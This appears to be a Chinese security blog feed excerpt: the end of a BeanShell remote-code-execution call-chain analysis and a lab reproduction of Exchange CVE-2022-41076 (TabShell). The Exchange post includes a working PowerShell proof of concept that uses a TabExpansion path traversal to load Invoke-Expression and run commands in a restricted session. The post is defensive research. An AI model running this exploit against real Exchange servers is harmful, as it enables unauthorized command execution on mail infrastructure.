&lt;pre&gt;&lt;code class=&quot;language-Java&quot;&gt;public Object eval(String var1) throws EvalError {
        if (DEBUG) {
            debug(&amp;quot;eval(String): &amp;quot; + var1);
        }

        return this.eval(var1, this.globalNameSpace);
    }

    public Object eval(String var1, NameSpace var2) throws EvalError {
        String var3 = var1.endsWith(&amp;quot;;&amp;quot;) ? var1 : var1 + &amp;quot;;&amp;quot;;
        return this.eval(new StringReader(var3), var2, &amp;quot;inline evaluation of: ``&amp;quot; + this.showEvalString(var3) + &amp;quot;&apos;&apos;&amp;quot;);
    }&lt;/code&gt;&lt;/pre&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2Fd157e815-1971-4136-9f3f-bfa1dbbb0a8f%2FUntitled.png?table=block&amp;amp;id=a88ab547-05fb-4e0c-bac2-777c4203e558&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;最后调用不同参数类型的eval方法&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F8a956cef-6baf-4992-91b7-7ba80838ee09%2FUntitled.png?table=block&amp;amp;id=df07a9ba-d638-4860-afac-4f732b7ac75e&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;该方法创建一些新的BeanShell解释器实例，并将输入输出流、命令空间、调用堆栈等传入，逐行读取BeanShell脚本&lt;/p&gt;
&lt;p&gt;并调用 &lt;code&gt;BSHPrimaryExpression.class$eval()&lt;/code&gt; 方法执行命令，最后返回执行的结果&lt;code&gt;var4&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-Java&quot;&gt;private Object eval(boolean var1, CallStack var2, Interpreter var3) throws EvalError {
        Object var4 = this.jjtGetChild(0);
        int var5 = this.jjtGetNumChildren();

        for(int var6 = 1; var6 &amp;lt; var5; ++var6) {
            var4 = ((BSHPrimarySuffix)this.jjtGetChild(var6)).doSuffix(var4, var1, var2, var3);
        }

        if (var4 instanceof SimpleNode) {
            if (var4 instanceof BSHAmbiguousName) {
                if (var1) {
                    var4 = ((BSHAmbiguousName)var4).toLHS(var2, var3);
                } else {
                    var4 = ((BSHAmbiguousName)var4).toObject(var2, var3);
                }
            } else {
                if (var1) {
                    throw new EvalError(&amp;quot;Can&apos;t assign to prefix.&amp;quot;, this, var2);
                }

                var4 = ((SimpleNode)var4).eval(var2, var3);
            }
        }

        if (var4 instanceof LHS) {
            if (var1) {
                return var4;
            } else {
                try {
                    return ((LHS)var4).getValue();
                } catch (UtilEvalError var8) {
                    throw var8.toEvalError(this, var2);
                }
            }
        } else {
            return var4;
        }
    }&lt;/code&gt;&lt;/pre&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F63fd6ae0-2460-4343-854d-e665bca2288c%2FUntitled.png?table=block&amp;amp;id=6d5bbce4-0bac-4b01-98e4-156c42ff9082&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;&lt;code&gt;BSHPrimaryExpression.class$eval()&lt;/code&gt;方法解析出解释器对象要执行的脚本参数，反射调用exec&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2Fcbb77162-93d5-4e36-b586-161eecb1ba29%2FUntitled.png?table=block&amp;amp;id=5ab77bf5-da13-4a4d-9f78-a4670f5bc2a7&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;在&lt;code&gt;bsh/Name.class$invokeMethod&lt;/code&gt;中调用本地方法&lt;code&gt;bsh/Name.class$invokeLocalMethod&lt;/code&gt; ,var6获取var2的类型为String，调用&lt;code&gt;getCommand&lt;/code&gt; 方法&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F1eb09851-a1b5-4fe4-93ad-b9e5165526a4%2FUntitled.png?table=block&amp;amp;id=d5ddf5cf-b132-40c3-bd17-7c65d143e09f&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;var7获取到执行的脚本位置&lt;code&gt;/bsh/commands/exec.bsh&lt;/code&gt;，通过 &lt;code&gt;BshClassManager.getClassManager().getResourceAsStream()&lt;/code&gt; 读取到该脚本内容到&lt;code&gt;InputStream&lt;/code&gt;，之后调用&lt;code&gt;bsh/NameSpace.class$loadScriptedCommand&lt;/code&gt; 方法加载脚本&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2Fc9ae7d40-2b61-40c4-83de-5df40eedb751%2FUntitled.png?table=block&amp;amp;id=c7550d8c-09b3-4388-8576-9ef1dc97d764&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;&lt;code&gt;exec.bsh&lt;/code&gt;用&lt;code&gt;Runtime.getRuntime().exec&lt;/code&gt;执行传入的参数&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2Fc47bbcab-8e0b-4d77-9281-7478656ce7ae%2FUntitled.png?table=block&amp;amp;id=1f871886-467b-45e2-8c5b-ca2990d78603&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;后续简单看一下调用栈&lt;/p&gt;
&lt;p&gt;返回到&lt;code&gt;invokeLoaclMethod&lt;/code&gt;，var10为null，进入&lt;code&gt;var9.invoke&lt;/code&gt;&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F6975edd0-fec6-407b-84b4-c41aa0142a57%2FUntitled.png?table=block&amp;amp;id=fbc9ab5a-a7b5-4bac-a584-c7d74e94f7fb&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;跟进&lt;code&gt;bsh/BshMethod.class$invoke()&lt;/code&gt;&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F0bf6c256-209f-4768-a0a4-b2542269c1d7%2FUntitled.png?table=block&amp;amp;id=191c8bd6-7f29-46d7-ad2a-d39480073cff&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2Fd8c527f3-81ef-4577-b2f4-a7a8f28c8888%2FUntitled.png?table=block&amp;amp;id=c6774eaf-65a3-4455-b99c-b88406c02665&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;&lt;code&gt;invokeImpl()&lt;/code&gt;&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F2ee29d35-2fef-4a82-93a0-06432e6c356f%2FUntitled.png?table=block&amp;amp;id=020a0827-b483-41af-9967-715d305c1da2&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;pre&gt;&lt;code class=&quot;language-Java&quot;&gt;private Object invokeImpl(Object[] var1, Interpreter var2, CallStack var3, SimpleNode var4, boolean var5) throws EvalError {
        Class var6 = this.getReturnType();
        Class[] var7 = this.getParameterTypes();
        if (var3 == null) {
            var3 = new CallStack(this.declaringNameSpace);
        }

        if (var1 == null) {
            var1 = new Object[0];
        }

        if (var1.length != this.numArgs) {
            throw new EvalError(&amp;quot;Wrong number of arguments for local method: &amp;quot; + this.name, var4, var3);
        } else {
            NameSpace var8;
            if (var5) {
                var8 = var3.top();
            } else {
                var8 = new NameSpace(this.declaringNameSpace, this.name);
                var8.isMethod = true;
            }

            var8.setNode(var4);

            for(int var9 = 0; var9 &amp;lt; this.numArgs; ++var9) {
                if (var7[var9] != null) {
                    try {
                        var1[var9] = Types.getAssignableForm(var1[var9], var7[var9]);
                    } catch (UtilEvalError var17) {
                        throw new EvalError(&amp;quot;Invalid argument: `&amp;quot; + this.paramNames[var9] + &amp;quot;&apos;&amp;quot; + &amp;quot; for method: &amp;quot; + this.name + &amp;quot; : &amp;quot; + var17.getMessage(), var4, var3);
                    }

                    try {
                        var8.setTypedVariable(this.paramNames[var9], var7[var9], var1[var9], (Modifiers)null);
                    } catch (UtilEvalError var16) {
                        throw var16.toEvalError(&amp;quot;Typed method parameter assignment&amp;quot;, var4, var3);
                    }
                } else {
                    if (var1[var9] == Primitive.VOID) {
                        throw new EvalError(&amp;quot;Undefined variable or class name, parameter: &amp;quot; + this.paramNames[var9] + &amp;quot; to method: &amp;quot; + this.name, var4, var3);
                    }

                    try {
                        var8.setLocalVariable(this.paramNames[var9], var1[var9], var2.getStrictJava());
                    } catch (UtilEvalError var15) {
                        throw var15.toEvalError(var4, var3);
                    }
                }
            }

            if (!var5) {
                var3.push(var8); //命令空间对象压入堆栈
            }

            Object var10 = this.methodBody.eval(var3, var2, true); //调用方法体eval
            CallStack var11 = var3.copy();
            if (!var5) {
                var3.pop();
            }

            ReturnControl var12 = null;
            if (var10 instanceof ReturnControl) {
                var12 = (ReturnControl)var10;
                if (var12.kind != 46) {
                    throw new EvalError(&amp;quot;&apos;continue&apos; or &apos;break&apos; in method body&amp;quot;, var12.returnPoint, var11);
                }

                var10 = ((ReturnControl)var10).value;
                if (var6 == Void.TYPE &amp;amp;&amp;amp; var10 != Primitive.VOID) {
                    throw new EvalError(&amp;quot;Cannot return value from void method&amp;quot;, var12.returnPoint, var11);
                }
            }

            if (var6 != null) {
                if (var6 == Void.TYPE) {
                    return Primitive.VOID;
                }

                try {
                    var10 = Types.getAssignableForm(var10, var6);
                } catch (UtilEvalError var18) {
                    SimpleNode var14 = var4;
                    if (var12 != null) {
                        var14 = var12.returnPoint;
                    }

                    throw var18.toEvalError(&amp;quot;Incorrect type returned from method: &amp;quot; + this.name + var18.getMessage(), var14, var3);
                }
            }

            return var10;
        }
    }&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这段代码定义了一个BeanShell解释器中的类&lt;code&gt;BSHMethodInvocation&lt;/code&gt;，用于处理方法调用的执行。&lt;/p&gt;
&lt;p&gt;在&lt;code&gt;invokeImpl&lt;/code&gt;方法中，首先获取方法返回值和参数类型，然后判断参数个数是否匹配。如果匹配，则创建一个新的命名空间对象，并设置方法参数的值。在设置方法参数的值时，如果参数类型不为空，则调用&lt;code&gt;Types.getAssignableForm&lt;/code&gt;方法将参数转化为可赋值的形式，并调用&lt;code&gt;setTypedVariable&lt;/code&gt;方法设置参数的值；否则，直接调用&lt;code&gt;setLocalVariable&lt;/code&gt;方法设置参数的值。&lt;/p&gt;
&lt;p&gt;然后，将新的命名空间对象压入调用堆栈中，并调用方法体的&lt;code&gt;eval&lt;/code&gt;方法计算方法体的值。在计算方法体的值时，如果方法体返回一个&lt;code&gt;ReturnControl&lt;/code&gt;对象，则将其转化为返回值，并执行相应的控制流程（如continue和break）。如果方法返回值的类型不为空，将返回值转化为可赋值的形式，并返回该值。如果返回值的类型为空，则返回&lt;code&gt;Primitive.VOID&lt;/code&gt;对象。&lt;/p&gt;

&lt;p&gt;接着执行代码块&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2Ff21d23e2-8e5f-4703-b95f-a435c377c7cb%2FUntitled.png?table=block&amp;amp;id=d2d8579a-fedd-44cd-8ed7-d2eda203fe78&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;最后调用 &lt;code&gt;BSHPrimaryInvocation.class$eval()&lt;/code&gt; 执行 &lt;code&gt;exec.bsh&lt;/code&gt; 中的命令&lt;/p&gt;
&lt;h4&gt;doAction&lt;/h4&gt;
&lt;p&gt;以 &lt;code&gt;/servlet/~ic/nc.bs.framework.mx.monitor.MonitorServlet&lt;/code&gt; 这个payload为例&lt;/p&gt;
&lt;p&gt;同样在&lt;code&gt;InvokerServlet.class$doAction()&lt;/code&gt; 中通过&lt;code&gt;getServiceObject&lt;/code&gt;获取到obj为&lt;code&gt;MonitorServlet&lt;/code&gt;对象&lt;/p&gt;





</content:encoded>
        </item>
        <item>
            <title><![CDATA[Exchange越权执行命令漏洞CVE-2022-41076复现分析]]></title>
            <description><![CDATA[Zeoihou Cheng's Blog]]></description>
            <link>https://z-zh.lol/ex-cve</link>
            <guid isPermaLink="true">https://z-zh.lol/ex-cve</guid>
            <pubDate>Sun, 10 May 2026 09:47:38 GMT</pubDate>
            <content:encoded>

&lt;blockquote&gt;PS:简单记录一下过程中的关键步骤和数据，相关知识点未作科普，言之无文&lt;/blockquote&gt;
&lt;h2&gt;环境&lt;/h2&gt;
&lt;p&gt;Windows Server 2016 x64&lt;/p&gt;
&lt;p&gt;Exchange Server 2016 CU21 build15.1.2308.27&lt;/p&gt;
&lt;p&gt;已知一个普通用户类型的Exchange账号密码&lt;/p&gt;
&lt;h2&gt;漏洞详情(CVE-2022-41076)&lt;/h2&gt;
&lt;ul&gt;&lt;li&gt;正常功能使用&lt;/li&gt;&lt;/ul&gt;
&lt;p&gt;普通exchange用户可以创建受限的远程powershell会话，此会话仅能运行白名单Exchange cmdlet+一些核心cmdlet，如Get-Command，Get-Mailbox，Get-Help等，代码如下&lt;/p&gt;
&lt;p&gt;（参数备注：123123 为 用户密码，ceshi\Administrator 为 域\用户名，winser2016.ceshi.com 为 主机名.域名）&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-PowerShell&quot;&gt;$secureString = ConvertTo-SecureString -String &amp;quot;123123&amp;quot; -AsPlainText -Force
$UserCredential = New-Object System.Management.Automation.PSCredential -ArgumentList &amp;quot;ceshi\Administrator&amp;quot;, $secureString
$sessionOption = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck
$Session = New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri http://winser2016.ceshi.com/powershell -Credential $UserCredential -Authentication Kerberos -AllowRedirection -SessionOption $sessionOption
 
Invoke-Command -Session $Session -ScriptBlock {get-mailbox}&lt;/code&gt;&lt;/pre&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F28d68be5-ef44-4b71-9602-26af10be40cf%2FUntitled.png?table=block&amp;amp;id=21a64a17-4082-4ea4-af57-edc069beac66&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;ul&gt;&lt;li&gt;漏洞攻击过程&lt;/li&gt;&lt;/ul&gt;
&lt;p&gt;创建 powershell 会话时，攻击者传递 &lt;code&gt;ApplicationArguments&lt;/code&gt;参数&lt;code&gt;WSManStackVersion&amp;lt;3.0&lt;/code&gt;，在 &lt;code&gt;initialSessionState&lt;/code&gt; 中启用公共 &lt;code&gt;TabExpansion&lt;/code&gt; 函数，最终可以在受限的 powershell 会话中越权调用它。&lt;/p&gt;
&lt;p&gt;此命令可以通过&lt;code&gt;-line&lt;/code&gt;参数导入、加载任意模块，在此参数中利用路径遍历从文件系统中加载任意dll模块导入当前对话，自此可以不受限制的使用powershell危险的cmdlet&lt;code&gt;Invoke-Expression&lt;/code&gt;。利用代码如下&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-PowerShell&quot;&gt;$secureString = ConvertTo-SecureString -String &amp;quot;123123&amp;quot; -AsPlainText -Force
$UserCredential = New-Object System.Management.Automation.PSCredential -ArgumentList &amp;quot;ceshi\Administrator&amp;quot;, $secureString
$version = New-Object -TypeName System.Version -ArgumentList &amp;quot;2.0&amp;quot;
$mytable = $PSversionTable
$mytable[&amp;quot;WSManStackVersion&amp;quot;] = $version
$sessionOption = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck -ApplicationArguments @{PSversionTable=$mytable}
$Session = New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri http://winser2016.ceshi.com/powershell -Credential $UserCredential -Authentication Kerberos -AllowRedirection -SessionOption $sessionOption
 
Invoke-Command -Session $Session -ScriptBlock { TabExpansion -line &amp;quot;;../../../../Windows/Microsoft.NET/assembly/GAC_MSIL/Microsoft.PowerShell.Commands.Utility/v4.0_3.0.0.0__31bf3856ad364e35/Microsoft.PowerShell.Commands.Utility.dll\Invoke-Expression&amp;quot; -lastWord &amp;quot;-test&amp;quot; }
 
Invoke-Command $session {Microsoft.PowerShell.Commands.Utility\Invoke-Expression &amp;quot;[System.Security.Principal.WindowsIdentity]::GetCurrent().Name&amp;quot; } #获取当前用户名
 
Invoke-Command $session {Microsoft.PowerShell.Commands.Utility\Invoke-Expression &amp;quot;(new-object System.Diagnostics.Process)::Start(&apos;mspaint.exe&apos;)&amp;quot; } #起进程&lt;/code&gt;&lt;/pre&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2Fcd93ae07-6d6c-415d-a504-022d511ca504%2FUntitled.png?table=block&amp;amp;id=8826568e-b0d2-4f02-8b65-4e07e3a443e7&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;对应 &lt;code&gt;w3wp.exe&lt;/code&gt; 进程命令行参数&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-PowerShell&quot;&gt;c:\windows\system32\inetsrv\w3wp.exe -ap &amp;quot;MSExchangePowerShellAppPool&amp;quot; -v &amp;quot;v4.0&amp;quot; -c &amp;quot;C:\Program Files\Microsoft\Exchange Server\V15\bin\GenericAppPoolConfigWithGCServerEnabledFalse.config&amp;quot; -a \\.\pipe\iisipma9729832-72e5-4c1a-bc52-b65a3c673a69 -h &amp;quot;C:\inetpub\temp\apppools\MSExchangePowerShellAppPool\MSExchangePowerShellAppPool.config&amp;quot; -w &amp;quot;&amp;quot; -m 0&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;dnspy调试&lt;/h2&gt;
&lt;ol&gt;&lt;li&gt;路径 &lt;code&gt;C:\Windows\System32\inetsrv&lt;/code&gt; 下，cmd命令 &lt;code&gt;appcmd list wp&lt;/code&gt; 查看iis进程&lt;/li&gt;&lt;/ol&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F5c8508af-d1f8-405a-9dd8-1fd406f7eee5%2FUntitled.png?table=block&amp;amp;id=3f664d3e-7744-4e62-a29c-4b88c17c8dda&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;ol&gt;&lt;li&gt;dnspy附加对应进程（可通过POC起进程时其父w3wp.exe进程的命令行确定），调试→附加到进程，根据pid附加&lt;code&gt;MSExchangePowerShellAppPool&lt;/code&gt; 的 &lt;code&gt;w3wp.exe&lt;/code&gt; 进程&lt;/li&gt;&lt;/ol&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F93ecc50f-8858-41c6-aecf-c78ee8ed9807%2FUntitled.png?table=block&amp;amp;id=0649de95-0942-4d95-a45b-323c5d32094c&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;ol&gt;&lt;li&gt;调试→窗口→模块，打开模块窗口，此处有两个&lt;code&gt;System.Management.Automation.dll&lt;/code&gt; ，分别调试在DefaultDomain中和独立的Powershell appdomain中，经过下断点测试，参数传递的是独立app域中的dll，双击加载&lt;/li&gt;&lt;/ol&gt;
&lt;p&gt;&lt;code&gt;C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll&lt;/code&gt;&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F9eff3807-8b28-4bc4-8015-472c743cd33b%2FUntitled.png?table=block&amp;amp;id=e78ff3d5-f40e-4787-bb22-f44e46f185dc&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F3d56f87b-5aec-4e60-b204-7deb2970a76a%2FUntitled.png?table=block&amp;amp;id=cd316596-2647-454f-beea-c4f7a8cc45f1&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;从分析文章 &lt;a href=&quot;https://blog.viettelcybersecurity.com/tabshell-owassrf/&quot;&gt;OWASSRF + TabShell 漏洞利用链 (viettelcybersecurity.com)&lt;/a&gt; 初步确定关键函数是加载外部模块的函数 &lt;code&gt;LoadBinaryModule(Microsoft.PowerShell.Commands.ModuleCmdletBase)&lt;/code&gt; &lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2Fa4b83956-b790-4ba8-83d3-6ba1648d1b55%2FUntitled.png?table=block&amp;amp;id=ef42401e-4410-4f87-b376-f2443efc623e&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;ol&gt;&lt;li&gt;打下断点启动调试&lt;/li&gt;&lt;/ol&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2Fb39cade0-952a-4c5e-a56a-79fad97d0e5b%2FUntitled.png?table=block&amp;amp;id=e9992478-1109-420c-89d6-d86ef2bd950a&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;发poc，成功断下&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2Fb5e9a6c4-4d5b-478f-a46b-1b88e39ae9c8%2FUntitled.png?table=block&amp;amp;id=b2089837-aeda-419e-acc4-907ae595c8b5&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;h3&gt;三步攻击过程&lt;/h3&gt;
&lt;h4&gt;第一步 目录穿越加载外部dll（Import-Module）&lt;/h4&gt;
&lt;p&gt;在&lt;code&gt;System.Management.Automation.CommandDiscovery&lt;/code&gt;类和&lt;code&gt;LookupCommandInfo&lt;/code&gt;方法中。&lt;/p&gt;
&lt;p&gt;首先使用 &lt;code&gt;TryNormalSearch&lt;/code&gt; 方法，但如果找不到命令(null)，则将调用 &lt;code&gt;TryModuleAutoLoading&lt;/code&gt; 方法。在 &lt;code&gt;TryModuleAutoLoading &lt;/code&gt;方法中，模块名称（text2 变量）将从 &lt;code&gt;commandName&lt;/code&gt; 解析&lt;/p&gt;
&lt;p&gt;然后模块将使用自动加载指定模块方法加载dll模块和cmdlet&lt;/p&gt;
&lt;p&gt;在&lt;code&gt;AutoloadSpecifiedMoudle&lt;/code&gt;方法cmdlet赋值为 &lt;code&gt;Import-Module&lt;/code&gt;&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2Fa4007858-3373-4a11-881a-97b5ebfa0baf%2FUntitled.png?table=block&amp;amp;id=f0eff755-00b6-48f5-9369-d51e85375e86&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;接着来到 &lt;code&gt;LoadBinaryModule&lt;/code&gt; 方法，查看局部变量获取到传入的 &lt;code&gt;moduleName&lt;/code&gt; 和 &lt;code&gt;fileName&lt;/code&gt; ，在此处加载dll&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F4c88167c-a5cc-484d-86e0-ef5c72ca1d27%2FUntitled.png?table=block&amp;amp;id=8f59e2a0-40b9-4c19-be6e-027c152eec8b&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;堆栈&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F98a54122-4c87-4293-9792-1c21aa50d292%2FUntitled.png?table=block&amp;amp;id=8451657b-a03a-4543-850a-10dceeb37b93&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F5bc4f75b-b91c-46c1-aaa1-f490fb153e50%2FUntitled.png?table=block&amp;amp;id=4137f62e-fdcd-4c38-96e6-40a222766127&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F011a99c7-f7d3-48d8-9850-17e67307dda4%2FUntitled.png?table=block&amp;amp;id=7719b423-8215-4ee5-956e-5d13e97fa4f9&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;返回到&lt;code&gt;processrecord&lt;/code&gt;&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F24cf3ef0-a815-4c24-974a-51166139f74f%2FUntitled.png?table=block&amp;amp;id=cd96ebd1-338e-46f3-a312-18738272a25a&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;h4&gt;第二步 加载外部dll的cmdlet（Invoke-Expression）&lt;/h4&gt;
&lt;p&gt;在&lt;code&gt;System.Management.Automation.CommandDiscovery&lt;/code&gt;类的&lt;code&gt;LookupCommandInfo&lt;/code&gt;方法&lt;/p&gt;
&lt;p&gt;在 &lt;code&gt;System.Management.Automation.dll!System.Management.Automation.CommandDiscovery.TryModuleAutoLoading(string commandName, System.Management.Automation.ExecutionContext context, string originalCommandName, System.Management.Automation.CommandOrigin commandOrigin, System.Management.Automation.CommandInfo result, ref System.Exception lastError) (IL≈0x0182, Native=0x00007FFC4D902FD0+0x40D)&lt;/code&gt; 打下断点&lt;/p&gt;

